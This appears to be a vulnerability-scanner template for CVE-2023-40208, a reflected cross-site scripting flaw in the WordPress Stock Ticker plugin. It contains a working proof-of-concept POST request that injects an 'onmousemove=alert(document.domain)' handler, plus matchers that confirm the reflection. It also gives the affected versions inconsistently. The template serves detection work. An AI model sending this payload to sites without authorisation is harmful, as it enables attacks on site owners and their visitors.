id: CVE-2023-40208 info: name: Stock Ticker <= 3.23.2 - Cross-Site Scripting author: theamanrawat severity: medium description: | The Stock Ticker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in the ajax_stockticker_load function in versions up to, and including, 3.23.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. remediation: Fixed in version 3.23.3 reference: - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/stock-ticker/stock-ticker-3233-reflected-cross-site-scripting - https://patchstack.com/database/vulnerability/stock-ticker/wordpress-stock-ticker-plugin-3-23-3-unauth-reflected-cross-site-scripting-xss-vulnerability - https://wordpress.org/plugins/stock-ticker/ - https://nvd.nist.gov/vuln/detail/CVE-2023-40208 - https://patchstack.com/database/vulnerability/stock-ticker/wordpress-stock-ticker-plugin-3-23-3-unauth-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-40208 cwe-id: CWE-79 epss-score: 0.00096 epss-percentile: 0.40046 cpe: cpe:2.3:a:urosevic:stock_ticker:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: urosevic product: stock_ticker framework: wordpress tags: cve,cve2023,wordpress,wp-plugin,wpscan,wp,stock-ticker,xss http: - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=stockticker_load&symbols=MSFT&class=%22+onmousemove%3Dalert%28document.domain%29+ matchers-condition: and matchers: - type: word part: body words: - "stock_ticker" - "onmousemove=alert(document.domain)" condition: and - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 490a00463044022005b75bc0e04d0ccbd4d2c3fbd2d5a833f187bffa2797b38e467a5d648dd647330220750593e902add27eee7dfd7a6f01823d9316c8cb98a04bf70fea5bdd7fe5f32e:922c64590222798bb761d5b6d8e72950